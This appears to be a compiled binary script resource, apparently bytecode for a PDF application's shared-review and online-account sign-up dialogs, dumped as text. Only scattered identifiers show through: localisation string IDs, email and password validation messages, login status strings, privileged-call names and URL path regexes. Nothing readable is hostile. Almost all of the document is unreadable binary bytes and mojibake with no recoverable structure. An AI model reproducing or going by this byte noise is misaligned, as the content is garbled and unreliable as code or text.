GKGIDS_LALAIDS_LVLVIDS_LBLBIDS_LSLSIDS_LRLRIDS_LYLYIDS_LILIIDS_LTLTIDS_LULUIDS_MOMOIDS_MKMKIDS_MGMGIDS_MWMWIDS_MYMYIDS_MVMVIDS_MLMLIDS_MTMTIDS_MHMHIDS_MQMQIDS_MRMRIDS_MUMUIDS_YTYTIDS_MXMXIDS_FMFMIDS_MDMDIDS_MCMCIDS_MNMNIDS_MSMSIDS_MAMAIDS_MZMZIDS_MMMMIDS_NANAIDS_NRNRIDS_NPNPIDS_NLNLIDS_ANANIDS_NCNCIDS_NZNZIDS_NINIIDS_NENEIDS_NGNGIDS_NUNUIDS_NFNFIDS_KPKPIDS_MPMPIDS_NWNOIDS_OMOMIDS_PKPKIDS_PWPWIDS_PAPAIDS_PGPGIDS_PYPYIDS_PEPEIDS_PHPHIDS_PNPNIDS_PLPLIDS_PTPTIDS_PRPRIDS_QAQAIDS_REREIDS_ROROIDS_RURUIDS_RWRWIDS_SHSHIDS_KNKNIDS_LCLCIDS_PMPMIDS_VCVCIDS_WSWSIDS_SMSMIDS_STSTIDS_SASAIDS_SNSNIDS_SCSCIDS_SLSLIDS_SGSGIDS_SKSKIDS_SISIIDS_SBSBIDS_SOSOIDS_ZAZAIDS_GSGSIDS_KRKRIDS_ESESIDS_LKLKIDS_SDSDIDS_SRSRIDS_SJSJIDS_SZSZIDS_SESEIDS_CHCHIDS_SYSYIDS_TWTWIDS_TJTJIDS_TZTZIDS_THTHIDS_CDCDIDS_TLTLIDS_TGTGIDS_TKTKIDS_TOTOIDS_TTTTIDS_TNTNIDS_TRTRIDS_TMTMIDS_TCTCIDS_TVTVIDS_VIVIIDS_UGUGIDS_UAUAIDS_AEAEIDS_GBGBIDS_USUSIDS_UMUMIDS_UYUYIDS_UZUZIDS_VUVUIDS_VAVAIDS_VEVEIDS_VNVNIDS_WFWFIDS_EHEHIDS_YEYEIDS_ZMZMIDS_ZWZWnextrmbm0IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_DAYbddy1IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_YEARbdyrdata
weEnabledPolyremoveAllEntriesFromListcntyIDS_COUNTRY_SELECT_ONEinsertEntryInListbdmt2IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_MONTHerorhelp
reviewTypeDocCenterSignupprevfocusmailenableloadvisible>A�����>�
dialogpoly��
R�
ZT�
�:5WQVEQA55A5B6Q�א���͈storepolydata
weEnabledPoly�������	>dialogtoLoadselectedCountrypolyk�
�
ZY\WQA�
�=�:WQA5�����V76QT�
�:5WQV;5.V
VC6QA5C6Q1A55!VB6QA5B6QT�
�V�:Q�ʐ֐�ِ�א���)�������ʐ�Ҙ�Z*�����ʐ�Ґ������ӈgetSelectedItemTextcntydatastorepolyAnnotsStringIDS_US
weEnabledPolyload�������~�dialogofNamlNamtoEnable��
��
7ZT�
�:WQA5V56QA5V56QA5V56QV5WQV�
�;��R�=�:WQV�
�;��R�=�:WQA5V6QV5	WQV�
�;��R�=�:WQV�
�;��R�=�:WQA5V6	QA5�����A�
�=
�:76
QA5V56QA5V5
6
QA5V56QA5�����A�
�=�:76QA5V56QA5V56QY\WQA55;E�QA55=EuQA55@EbQA55;EKQA55=E4QA55@E!QA55;E
QA55=E�QA55@E�QA55;E�QA55=E�QA55@E�QA55	;E�QA55	=EqQA55	@E^QA55
;EGQA55
=E0QA55
@EQA55;EQA55@E�QA55�����;57E�QA55;E�QA55=E�QA55@E�QA55;5EpQA55;EYQA55=EBQA55@E/QA55;5EQA55
CVC6QVB6QT�
�V�:Q�Ґ�Ԑ�Ԑ�Ԑ�̐�鐈鐈ϐ�̐�鐈鐈ϐ��萈Ԑ�Ԑ�Ԑ��萈Ԑ�Ԑ�ʐ�������������ѐ�ސ�ސ������ϐ����ʐ���ӈstoredatamailpwd1pwd2fNamreplaceRegExplNamcntygetSelectedItemTextrmbmagrepolybdmtbddybdyr	undefinedAnnotsString2IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_MONTH0IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_DAY1IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_YEARnextenable^\s+\s+$^\s+\s+$�����M�idoiӿ
b�
iZA5�
�:T7WQVKmMWQVV7>V�N��L����N=�ِ�5"ː����|ː���
dialogstore#"�����
t�
_�#dialognextofNamlNamdescresultsignupResultdriveraddStringToPayloadParamsacceptResultswConn}�
��
uZTpT�
�YB]\�:QT�
�YB]\�:QT�
�:WQA5V56QA5V56QA5V56QV5	WQV�

�;��R�=�:WQV�

�;��R�=�:WQA5V6	QV5
WQV�

�;��R�=�:WQV�

�;��R�=�:WQA5V6
QA5�����A�
�=�:76QA5V56QA5V56QA5V56QA5�����A�
�=�:76QA5V56QA5V56QV5A5C6QA5B6Q9��A55�:B�T�
�YC]\�:QT�
�=�:QT�
�Y;5]\�:QT�
�YC]\�:Q9��=�:QA55��DQA55���T�
�YC]\�:QT�
�=�:QT�
�Y;5]\�:QT�
�YC]\�:Q9��=�:Q�A55A55�T�
�YC]\�:QT�
�=�:QT�
�Y;5 ]\�:QT�
�YC]\�:Q9��=�:QAA55��DQA55���T�
�YC]\�:QT�
�=�:QT�
�Y;5]\�:QT�
�YC]\�:Q9��=�:Q�������A55�A55�A55�:B�T�
�YC]\�:QT�
�=�:QT�
�Y;5!]\�:QT�
�YC]\�:Q9��=�:Q�������A55�A55�A55�:B�9"�"�:WQ;#�$
�:Q;%�&
�:Q;#�'
�V�:WQ;#�(
�:QT�)
�:Q9��=�:QVQ�A5A556*QA5A556+QT�
�=�:QT�
�Y=]\�:QT�
�YC]\�:QT�
�Y;5,]\�:Q;#�$
�:Q;%�-
�A55�A55+�A55	�A55
�A55�A55�B�:WQ;#�(
�:Q��vW
QT�
�YC]\�:QT�
�=�:QT�
�Y;5.]\�:QT�
�YC]\�:Q9��=/�:Q�VX�	��90�0�A551�:WQ;#�$
�:Q;%�2
�YA55]3A55]4A55]5C]6V]7\�:W	Q;#�(
�:QV	hA5V	68Q;#�$
�:Q;9A556:Q;9V	�<
�:6;Q;9C6=Q;#�(
�:QA551=>DQA551=?�Y\WQV=A6@QV=C6BQ;#�$
�:Q;%�D
�V�:Q;#�(
�:QV=E6@QV=C6BQ;#�$
�:Q;%�D
�V�:Q;#�(
�:Q9F�F�=G�:Q�A551=>DQA551=?bY\WQV=A6@QV=H6BQ;#�$
�:Q;%�D
�V�:Q;#�(
�:Q9��=I�:QT�
�YC]\�:Q��vW
QA551=>DQA551=?bY\WQV=A6@QV=H6BQ;#�$
�:Q;%�D
�V�:Q;#�(
�:Q9J�J�V
�:QT�
�YC]\�:QT�
�=K�:QV
5LX�DQV
5LX�`T�
�Y;5M]K\�:QT�
�YC]K\�:Q9��=I�:Q�V
5LX�d9N�N�:WQ;#�$
�:Q;#�'
�V�:WQ;#�(
�:QV=O�;#�$
�:Q;%�P
�A55*�A55+�:WQ;#�(
�:QV>��90�0�A551�:WQ;#�$
�:Q;%�2
�YA55*]3A55+]4A55]5V]7\�:W	Q;#�(
�:QV	cA5V	68Q;#�$
�:Q;%�Q
�A55R�:";%�S
�A55R�:Q;9A55*6:Q;9V	�<
�:6;Q;9C6=Q;#�(
�:QA551=>DQA551=?bY\WQV=E6@QV=C6BQ;#�$
�:Q;%�D
�V�:Q;#�(
�:Q9F�F�=T�:Q9U�U�=V�:Q��vWQA551=>DQA551=?bY\WQV=E6@QV=H6BQ;#�$
�:Q;%�D
�V�:Q;#�(
�:QT�
�Y;5M]K\�:QT�
�YC]K\�:Q9��=I�:Q�[T�
�Y;5M]K\�:QT�
�YC]K\�:Q9��=W�:Q[T�
�Y;5M]K\�:QT�
�YC]K\�:Q9��=X�:QV
5LX�|T�
�Y;5Y]K\�:QT�
�YC]Z\�:QT�
�YC]K\�:Q9��=[�:Q�V
5L>DQV
5LX�`T�
�Y;5\]K\�:QT�
�YC]K\�:Q9��=I�:Q9��=I�:Q�aA551=>DQA551=?bY\WQV=A6@QV=H6BQ;#�$
�:Q;%�D
�V�:Q;#�(
�:QT�
�YC]\�:QVX�DT�
�=�:QT�
�Y;5]]\�:Q?T�
�=�:QT�
�Y;5.]\�:QT�
�YC]\�:Q9��=^�:Q�����ܐ���ܐ�Ґ�Ԑ�Ԑ�Ԑ�̐�鐈鐈ϐ�̐�鐈鐈ϐ��萈Ԑ�Ԑ�Ԑ��萈Ԑ�Ԑ�����Ґ��͘�Z�����ܐ�Ր�合ܐ�Ր��������ܐ�Ր�合ܐ�ڐ��������ܐ�Ր�合ܐ�ڐ��������ܐ�Ր�合ܐ�ڐ��������ܐ�Ր�合ܐ�ژ�Z���Ґ�ѐ�ѐؐ�ѐ�ϐ�Ր�������א�א���	Ր�	�ܐ�吐�ѐ�ِ̐̐̐̐̐ɐ��x��ʐ��ܐ�Ր�合ܐ�Հ{����	�����ސ�ѐ��ڐ�ѐ��c���ϐ�ѐ�֐�ِ�̐�ѐ���ʐ�ΐ�ΐ��ѐ�Ր�ѐ�ΐ�ΐ�ѐ�Ր�ѐ��ڐ������ʐ�ΐ�ΐ��ѐ�Ր�ѐ��Ր���x��ʐ����ʐ�ΐ�ΐ��ѐ�Ր�ѐ��Ӑ�ܐ�Ր�[���合ܐ�ڐ���_��Ґ�ѐؐ�ѐ��������	ѐ쐈	ѐ�������ސ�ѐ�Ԑ�ѐ����ϐ��ѐ����
ݐ��֐�ِ�̐�ѐ���ʐ�"ΐ�"ΐ�"ѐ�"Ր�"ѐ��Ր��x���ʐ����ʐ�!ΐ�!ΐ�!ѐ�!Ր�!ѐ��合ܐ��Հ{˘�[���
合
ܐ�
ژ�[���	合	ܐ�	ڐ���w�����合ܐ�ܐ�ڐ��[���合ܐ�ڐ����Հ{˘�[�����ʐ�ΐ�ΐ��ѐ�Ր�ѐ��ܐ?���Ր�ꐐ���Ր�吐�ܐ�Ո!enablenextvisibleerorstoredatamailpwd1pwd2fNamreplaceRegExplNamcntygetSelectedItemTextrmbmagrepolybdmtbddybdyrrememberPassword
eMailValidatesetForeColorRedloadAnnotsString2IDS_SHARED_REVIEW_DOC_CENTER_ERROR_EMAIL_NOT_VALID
DebugThrowInvalid datalength2IDS_SHARED_REVIEW_DOC_CENTER_ERROR_PASSWORD_LENGTH1IDS_SHARED_REVIEW_DOC_CENTER_PASSWORDS_DONT_MATCH4IDS_SHARED_REVIEW_DOC_CENTER_ERROR_BIRTDAY_NOT_VALID-IWSharedReviewDocCenterEligibilityErrorDialogapp	beginPrivCollabdisableDocCentreSignup
execDialogendPrivcanceluserpswd,IDS_SHARED_REVIEW_DOC_CENTER_STATUS_CREATINGdcSignup*IDS_SHARED_REVIEW_DOC_CENTER_ERROR_GENERICError in dcSignup	getDriver
reviewType	swConnect	cUsername	cPassword	bSaveCredbValidateEmailcDriverswConn
shareIdentityEmailFullNamegetFullName
AuthenticatedSharedReviewFormDistributionnameSignUp_SuccessfulvalTrueAVUMAddStringToPayloadWrapperAuthentication_SuccessfulDebugPrintlnBAdobe Id account created and successfully connected to Acrobat.comFalse!Login was unsuccessful, try again	ANDumpObjstat	errorCode7IDS_SHARED_REVIEW_DOC_CENTER_STATUS_INVALID_ID_PASSWORD%IWSharedReviewDocCenterServicesDialogokswAcceptTOU
isFirstLaunchWTunsetFirstLaunch%Successfully connected to Acrobat.com
DebugAlert.IWSharedReviewDocCenterLogin: Login successfulELogin was successful, but attempt to accept services agreement failed@Login was successful, but user did not accept services agreement3IDS_SHARED_REVIEW_DOC_CENTER_STATUS_REQUEST_EXPIREDresd6Login was successful, but need to verify email address2IDS_SHARED_REVIEW_DOC_CENTER_STATUS_CANNOT_CONNECT,IDS_SHARED_REVIEW_DOC_CENTER_ERROR_DUP_EMAILResponse has error����err����ee^\s+\s+$^\s+\s+$f�D
��)�����J�
	dialogurl��
��
�[;5=;5;5WQ;�
�V�C�:Q��␈׈app
viewerTypeReaderAnnotsString=IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_AGREEMENT_READER>IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_AGREEMENT_ACROBAT	launchURL�����J�
	dialogurl��
��
�[;5=;5;5WQ;�
�V�C�:Q��␈׈app
viewerTypeReaderAnnotsString9IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_PRIVACY_POLICY_READER:IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_PRIVACY_POLICY_ACROBAT	launchURL�����J�
	dialogurl�
�
�[;5=;5;5WQ;�
�V�C�:Q��␈׈app
viewerTypeReaderAnnotsString9IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_PRIVACY_POLICY_READER:IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_PRIVACY_POLICY_ACROBAT	launchURL�������*�+
reviewTypedescription1:�\YT]�]�]�]�]ZY=];5]	;5
]=]
=]ZY=]=]
=];5]X�]	ZY=]=]
ZY=]�]\`Y=];5]C]=]\`Y=]�]\`Y=];5]C]X�]	\`Y=]=]=]C]X�]	=]\`Y=]�]\`Y=];5 ]C]X�]	\`Y=]�]\`Y=];5!]C]X�]	\`Y=]�]\`	Y="];5#]=]\`
\]$\`\]$\`\]$\`\]%\WQ;&�'
�:Q9(�(�V�:WQ;&�)
�:QV���Ȑʘ�]ʘ�]ʘ�]ʘ�]��ʐϐϐ��ʐʐ���ʐʐʐ�ϐȐ���ʐʐ���ʐ̐��ʐϐ�ϐ��ʐ̐��ʐϐ�͐��ʐʐʐ�Ȑϐ��ʐ̐��ʐϐ�͐��ʐ̐��ʐϐ�͐��ʐ̐��ʐϐ���]p�ѐ�֐�ѐ���
reviewType
initializeidlecommitresdviewtypeCollabwizardWidthwidthwizardHeightheight
align_leftalign_children
align_fill	alignment	align_topwizardMarginWidthmargin_widthgapstatic_textAnnotsString)IDS_SHARED_REVIEW_DOC_CENTER_EMAIL_VERIFYnamebolddialogfont0IDS_SHARED_REVIEW_DOC_CENTER_EMAIL_VERIFY_INSTR1	wrap_nameeMl1item_id0IDS_SHARED_REVIEW_DOC_CENTER_EMAIL_VERIFY_INSTR20IDS_SHARED_REVIEW_DOC_CENTER_EMAIL_VERIFY_INSTR3	link_text)IDS_SHARED_REVIEW_DOC_CENTER_EMAIL_RESENDelementsdescriptionapp	beginPrivANTrustPropagateAllendPriv�������"dialogotoLoadtoShow���\T�
�:WQYA55]\WQY\WQVA55=6QVB6QT�
�=	�:QT�

�V�:QT�
�V�:Q�Ґ��Ր�ʐ�ڐ�ʐ��Ր�Ӑ�ӈstoredatamaileMl1prev
reviewTypeDocCenterSignuphelpfocusresdvisibleload������dialog]�������dialognext.H]������h�
dialogverifyResultc8];�
�:Q;�
�A55�A55�:WQ;�
�:Q9��=	V�:Q��ѐ쐈ѐ�و?app	beginPrivCollabswSendVerifyEmaildatauserpswdendPrivDebugPrinltn!Collab.swSendVerifyEmail: result:�����`�8�+descriptionqew]Y�]�]�]�]�]�]�]�]�]�	]	�
]
�]�]�
]
�]�]ZY=]=]ZY=]=]=];5]\`Y=]=]ZY=]�]\`Y=]ZY=]=]=];5]\`Y=]=]=];5]\`\] \`\] \`Y=]=]=];5!]\`Y="]=#]C]$;%5&];5']\`Y=]=(])=]ZY=*]=+]=(]);,5-].\`Y=/];50]=]\`\] \`Y="]=(])=1]2=3]\`\] \`\]4\WQ;,�5
�:Q96�6�V�:WQ;,�7
�:QV���ʘ�]�ʘ�]�ʘ�]�ʘ�]�ʘ�^ʘ�^pʘ�^�ʘ�^�ʘ�^�ʘ�^�ʘ�^�ʘ�^�ʘ�^�ʘ�^�ʘ�_ʘ�_���ʐʐ���ʐʐʐԐ��ʐʐ���ʐ̐��ʐ���ʐʐʐԐ��ʐʐʐꘀ_��ʐʐʐԐ��ʐʐ�ϐԐ��ʐʐʐ���ʐʐʐԐ��ʐϐژ�_ٕʐʐʐ嘀_�ѐ�֐�ѐ���
initializeinviattcsendsavebrwsnormalizeURLfixURLgetFSgetSeparatorgetFilenamegetDirectoryURLToDiPathURLPartialOkidlecommitviewtype
align_leftalign_childrenradioitem_iddistgroup_idAnnotsString*IDS_SHARED_REVIEW_DISTRIBUTION_SEND_INVITEname	align_rowgapwidth.IDS_SHARED_REVIEW_DISTRIBUTION_ATTACH_TO_EMAIL'IDS_SHARED_REVIEW_DISTRIBUTION_SEND_URLelementsIDS_SHARED_REVIEW_SAVE_LOCALstatic_textbmsg	wrap_nameCollabwizardWidth4IDS_SHARED_REVIEW_DISTRIBUTION_SELECT_LOCATION_LOCAL
align_fill	alignment	edit_textdestappisProtectedModeEnabledreadonlybutton
IDS_BROWSEtruncate_middletruncatedispdescription	beginPrivANTrustPropagateAllendPriv�������&�BdialogoldNameoldPathnewPathtoLoadpath�x%{]
A5B6Q;�
�:Q;�
�:Q;�
�:QA555WQA555	WQV�

�>�V�
�=�:?�:WQA5V�
��=�:;56
QA5VA55
6QA55�=A5=6QY\WQA55x=y=y=y|z�;�
�:Q;�
�A55�:WQ;�
�:QVA555=V6QVA556QA55�=VA556QA55x=y=y@=ybzVC6QVC6QV;5 6QSVC6QVC6!QV;5"6Q'VC6#QV;5 6QT�$
�V�:QT�%
�=�:Q��͐��ѐ�ѐ�ѐ�ԐԐ됈�ې�����ѐ�ʐ��`����m
�m
��]�mʘ�]����ѐ�ѐ��
ؐP����ԐP�������Ԑ��`�����m
��]�m
��]�mʘ�]����ʐ�ʐ�ӐP����ʐ�ʐ�ӐP����ʐ�ӐP����Ӑ�ՈdatadocWarningPoppedapp	beginPrivCollabupdateMountInfoendPrivdocdocumentFileNamepath	substringlastIndexOf/
cDocumentNamereplaceAnnotsStringIDS_SHARED_REVIEW_FILE_EXT
cDocumentPathdistributionMethod	undefinedEMAILMANUALUPLOADconvertDIPathToPlatformPathdestrequiresFullSavedistributionURLpreviousDestinationinviattcbmsg4IDS_SHARED_REVIEW_DISTRIBUTION_SELECT_LOCATION_LOCALsend5IDS_SHARED_REVIEW_DISTRIBUTION_SELECT_LOCATION_REMOTEsaveloadfocus.pdf$�����}� dialogpropstoEnable�%�&�]T�
�:WQV5A�
�T�:Q#V5A�
�T�:QYC]C]\WQT�
�V�:Q��Ґ��֐��ѐ����ː���ӈstoreattcsendenable������<dialogtoLoadpathprops�&�)�]	Y;5]\WQ;�
�:Q;�
�A55�:WQ;�	
�:QVA555=
V6
QA55�=VA556
QT�
�:WQV5EQV5 EQV5 VC6QT�
�V�:Q����Ԙ�]҈ѐ�ѐ��
ؐ�����Ԑ�ҐΈψ���ʐ��ӈAnnotsString4IDS_SHARED_REVIEW_DISTRIBUTION_SELECT_LOCATION_LOCALbmsgapp	beginPrivCollabconvertDIPathToPlatformPathdata
cDocumentPathendPrivdestdocrequiresFullSavepreviousDestination	undefinedstoreinviattcsendload�������3dialogcDefaultLinktoLoadprops�)�,�]A5555WQV�
��: 9��V�:WQVA55WQY;5]	V]
\WQT�
�:WQV5EQV5
 EQV5 VC6
QT�
�V�:Q��ِ����֐��p�����ϐ͐��ҐΈψ���ʐ��ӈdataserverSettingscSettingmatchANSMBURLToPlatformPath
cDocumentNameAnnotsString5IDS_SHARED_REVIEW_DISTRIBUTION_SELECT_LOCATION_REMOTEbmsgdeststoreinviattcsendload^(http[s]?|file):\/\/�������/dialogtoLoadpathtoEnable�,0/�]	Y;5]\WQ;�
�:Q;�
�A55�:WQ;�	
�:QVA555=
V6
QT�
�V�:QYB]B]\WQT�
�V�:Q����Ԙ�^�ѐ�ѐ��
ؐ���Ӑ����ː���ӈAnnotsString4IDS_SHARED_REVIEW_DISTRIBUTION_SELECT_LOCATION_LOCALbmsgapp	beginPrivCollabconvertDIPathToPlatformPathdata
cDocumentPathendPrivdestdocrequiresFullSaveloadattcsendenable�������4�hdialogbrowsePropspropspathsaveURL
validLocationerrMsgH/�8^YC]A55]C]\WQT�
�:WQA5=6QV5.A5=	6QV;56
Q#V5
A5=6Q;�
�:Q;�
�V�:WQ;�
�:QV�VQA5V56QA55x=y=y=	y�z�;�
�:Q;�
�V5�:WQ;�
�:QA5V56QA5V5�
�V5�
�=�:?�V5��:6Q0A�
�V5�:WQV�
�>���:=DQV�
�>���:= WQV X;�
�:Q;�!
�;"5#�:Q;�
�:Q9$�$�=%�:Q;5&='EQV5;5=;�
�:Q9(�(�V�:WQ;�
�:QA5V6)QT�*
�YV]+\�:Q��vWQV5,=-�VQ9.�.�V5/�:F?,;"50WQ+;"51WQ;"52WQ;�
�:Q;�!
�V�:Q;�
�:Q9$�$�=3�:Q�����Аː��Ґ�ѐ�)���ѐ�ؐ�����ѐ���ѐؐ�ѐ�������Ԑ��`����m
�m
��^<mʘ�^3���ѐ�ݐ�ѐ�Ԑ��ʐP����ِߐݐ����	ѐ�ܐ�	ѐ�Ր������	ѐ�	֐�	ѐ���ϐP�����x��ʐ������XRِ���	ΐP���	ΐP���	ΐP����ѐ�Ր�ѐ�Հ{���bSavedata
cDocumentName
cFilenameInitbUnicodestoredistributionMethodEMAILsendUPLOADcFSInit
fileSystemWebDAVsaveMANUALapp	beginPrivbrowseForDocendPrivdistributionFScFSCollabconvertDIPathToPlatformPathcPath
cDocumentPath	substringlastIndexOf/lengthnormalizeURLcURLhttp:smb:alertAnnotsString+IDS_SHARED_REVIEW_DISTRIBUTION_BAD_LOCATION
DebugThrowNon-shared folderplatformWINANSMBURLToPlatformPathdistributionURLloaddestmessageVolume Mount ExceptionNumber	errorCode#IDS_SHARED_REVIEW_VOLUME_TYPE_ERROR$IDS_SHARED_REVIEW_VOLUME_MOUNT_ERRORIDS_SHARED_REVIEW_VOLUME_ERROR
VolMountError����e�6�������!urllastSepIndexdirURLsuburl�8�<p^T�
�=�:WQV>uT�
�>�V?�:WQT�
�V?�:WQ;�
�:Q;�
�V�:VUQ;�
�:QT��^~ؐ
��ڐؐ�ѐ�ܐ�ѐ����lastIndexOf/substrapp	beginPrivCollaburiNormalizeendPriv�������2url=?�^T�
��:4T�
��=A55�:UQ/T�
��=A55�:UQT�
��: =T�
��:T=UQT=UQT��/����^��ꐐ���������pʐ���p�����matchreplace\data
cDocumentName/pdf.pdf^\\\\\\\.?$\/\.?$\.pdf$\.$�������url(?<@�^T�
��:DQT�
��:;5ST�
��:DQT�
��:;5;5����А���А�	ˈmatch
fileSystemdefaultWebDAV^\\\\^.+:\\
^file:\/\/	^smb:\/\/�����q�urlpathSepZ@kA�^=WQT�
��:DQT�
��:=WQ'T�
��:=WQV�ɐ����ΐ�����ɐ����/match\^\\\\^.+:\\^(http[s]|file):\/\/�����J�url	pathIndex�A$B�^T�
�A�
�T�:�:WQV>T�
�V?�:UQT��
�ؐ���lastIndexOfgetSeparatorsubstr�����L�url	pathIndexBB�B�^T�
�A�
�T�:�:WQV>T�
�>�V?�:UQT��
�ڐ���lastIndexOfgetSeparatorsubstr�������#url�B�D�^T�
��:?T�
��=�:�
��=�:UQ}T�
��=�:UQT�
��=�:UQT�
��=�:UQT�
��=�:UQ9��T�:��:�������ސ�ސ�ސ�ސ��ӈmatchreplace//$1/unescape^\\\\\\^\/\/^file:\/\/localhost\/^file:\/\/\/
^file:\/\/^\/([^\/]+)\|\/�����d�%dest�D	F�^;5x=y=yz/T�
��:T�
��:T�
��:��`Y��m
��mʘ�^ܐ�Ր��Ր��Ր�appplatformMACWINmatch4^(?:http[s]?:\/\/)|(?:file:\/\/)|(?:smb:\/\/).+\/.*$B^(?:http[s]?:\/\/.+\/.*$)|(?:file:\/\/.+\/.*$)|(?:\\\\[^\\]+\\.*$))^(?:http[s]?:\/\/)|(?:file:\/\/\/).+\/.*$������$}\dialogstrpropstoEnablepartialOKURLdispValF�L�^A55EQA55 &A5C6QA5A55�
�;5�;5�:;56Q;	�

�:QA5551;	�
�Y;
5]\�:QsA55 b;
5WQ;�
�A55�:;
5WQ;	�
�YV]\�:Q;	�
�:QT�
�:WQYC]\WQV5EQV5�A�
�V5�:WQA55@�V;;
5�
��A�
�V5�:�:&;
5�
��=�:WQV5V#T� 
�YV]\�:QVA55E"QA555 EQV@6QaVA55EHQA555 E1QV5@E!QV5�!
��:@6QT�"
�V�:QT�#
�YV5EQV5]\�:Q��ш����͐������ѐ�,��쐈
���ΐ���ΐ���ѐ��ҐА�������ِ���6���吐���ސ��Ԉ+瘀_��Ԉ+א񐐐�Ӑ��1datadocdocWarningPopped
docModifiablerequestPermission
permissiondocumentmodifygrantedapp	beginPriv	certifiedalertAnnotsString.IDS_SHARED_REVIEW_UPLOAD_STEP_DOC_IS_CERTIFIEDcMsg3IDS_SHARED_REVIEW_UPLOAD_STEP_DOC_IS_NOT_MODIFIABLECollabisSharedReview2IDS_SHARED_REVIEW_UPLOAD_STEP_DOC_IS_SHARED_REVIEWendPrivstorenextsendinviURLPartialOkdest!IDS_SHARED_REVIEW_UPLOAD_TEMPLATEreplacefixURL--disploadmatchenablevisible%url%%url%\.pdf$�����u�6$�dialognextprops
locationProps	fixedDest
validLocationmsg�L]_
TqT�
�:WQY\WQV5�A5=6QA5A�
�V5�:6QA5=	6Q;
�
�:QV;
�
�V5�:6Q;
�
�:QVV56QV@6Q�V5�A5=6QA5A�
�V5�:6QA5;56QA5A55�
��A55�:6Q;
�
�:QV;
�
�V5�:6Q;
�
�:QVV56QV@6Q�A5=6QA�
�V5�:WQA5V6QA5A�
�A55�:6QA5;56QA5A55�
��A55�:6QA55=QA5555V= 6QV=6QVV6Qv;
�
�:QV;
�!
�9"�"�9#�#�V�:�:�:6Q;
�
�:QVA556QVV56QA5V56$QBWQ�VV56%Q;
�
�:Q;
�&
�V�:EQ;
�'
�V�:WQ;
�
�:Q��vWQVQV5(�;5)WQ6V5(�;5*WQ;5+WQ;
�,
�V�:Q9-�-�=.�:Q�V �;5/WQV�
��V5�:WQ;
�
�:Q;
�,
�V�����:�9-�-�=0�:Q;
�
�:QA5V56$QA5A55$�1
�A55$�2
�=3�:?�A55$�4�:6QA5V565Q���Ґ�ʘ�_&�������ѐ�ᐈѐ��ѐ�␈ѐ�ѐ�ϐ������ѐ�ᐈ֐��ѐ�␈ѐ�ѐ�ϐ�����ѐِ�ϐ�䐈֐��_M�L�����Ӑ��ΐ�ѐ����ѐ����ѐ�
Ԑ���ѐ�Ԑ�������ѐ��ѐ�ڐؐ��x��ʐ��_r����
Ӑ���
Ӑ��
ΐ��Ր�Հ{������ΐ�ᐈѐ���Ր�ѐ���Ԑ��Ӑ��Ԉ+storesavedatadistributionMethodMANUALdistributionFSgetFSdestmsgapp	beginPriv	cFilePathCollabconvertPlatformPathToDIPathendPrivcDisplaycFSattcEMAILAnnotsString/IDS_SHARED_REVIEW_PREVIEW_INVITE_ATTACHED_EMAILreplace
cDocumentNameUPLOADfixURLdistributionURL+IDS_SHARED_REVIEW_PREVIEW_INVITE_LINK_EMAILCHTTPserverSettings#bUseWindowsIntegratedAuthenticationCSSOuriToDIPathencodeURIComponentANPlatformPathToURL
cDocumentPathcPathisPathWritableisValidSaveLocation	errorCode+IDS_SHARED_REVIEW_DISTRIBUTION_BAD_FILENAME+IDS_SHARED_REVIEW_DISTRIBUTION_WRITE_DENIED+IDS_SHARED_REVIEW_DISTRIBUTION_BAD_LOCATIONalert
DebugThrowBadLocation(IDS_SHARED_REVIEW_DISTRIBUTION_OVERWRITECannotOverwrite	substringlastIndexOf/lengthpreviousDestination����e
%review_name%%review_url%%sFilename%jj�����		��i�idoc
serverType	serverURLreviewFileNamereviewFileLocationinitiatorEmailreviewMethodrequiredReviewersoptionalReviewersbIsValiddataidriverlogEventParamsstartPayloadParamsaddStringToPayloadParams�euy�_TEQ;�
�T�:X;�
�:Q;�
�Y;5]T]\�:Q;�	
�:Q>TEQ;�

�T�:X;�
�:Q;�
�Y;5]T]\�:Q;�	
�:Q>9��:WQY\WQVZ\6
QTEQT5"VT56QVT6QV;�
�:6Q;�
�:QVZ\6QVY\6QV;5=6QV9��T�:6QV9��T�:6Q;5K�mMWQ;5V7WQV�
�=�:YV�
�: 9V5V5�V8QV5V5V8QVV6 Q�L���xN;�	
�:QY\WQY\WQY\WQV=6!QV=#6"QV=#6$Q;�
�:Q;�%
�V�:Q;�	
�:QV=6&QV=(6'QV>6)QV=+6*QV=-6,QV=/6.QV?60QV?61QV>62QV>63QV?64QV>65QVT66QVT67QVT68QVT69QV>6:QV?6;QV>6<QV?6=QV=?6>QV=-6@QV>6AQVT6BQV=D6CQV=?6EQV=?6FQV=?6GQV=I6HQVY\6JQV5J>6KQV5J>6LQV5J?6MQV5JT6NQV5JY\6OQV5J5OT6PQVTT6QQTx=Ry=Syo=Ty�zV=V6UQV=?6WQV5J=Y6XQV5J=[6ZQV5J5O>6\Q�V=]6UQV=^6WQV5J=_6XQV5J=`6ZQV5J5O?6\Q`V=a6UQV=b6WQV5J=c6XQV5J=d6ZQV5J5O>6\QT EQT=eDQT=f!;�
�=g�:Q9h�h�V�?�:Q����	ѐ�		ѐ�	������	ѐ�		ѐ�	���Ґ�ʐ�ΐ����	ѐ�	̐���ِ��ѐ�ΐ�Ϙ�`�ِ��ې��ې��0��ːҐ����4��ڐ�ڐ����՘�`"�ј�`&ʐʐʐ�ΐ�ΐ�ΐ�ѐ�Ր�ѐ��ΐ�ΐ�ʐ�ΐ�ΐ�ΐ�ʐ�ʐ�ʐ�ʐ�ʐ�ʐ�̐�̐�̐�̐�ʐ�ʐ�ʐ�ʐ�ΐ�ΐ�ʐ�̐�ΐ�ΐ�ΐ�ΐ�ΐ�ϐ�ϐ�ϐ�ϐ�ѐ�Ԑ�֐�А�c�5�m
��`am
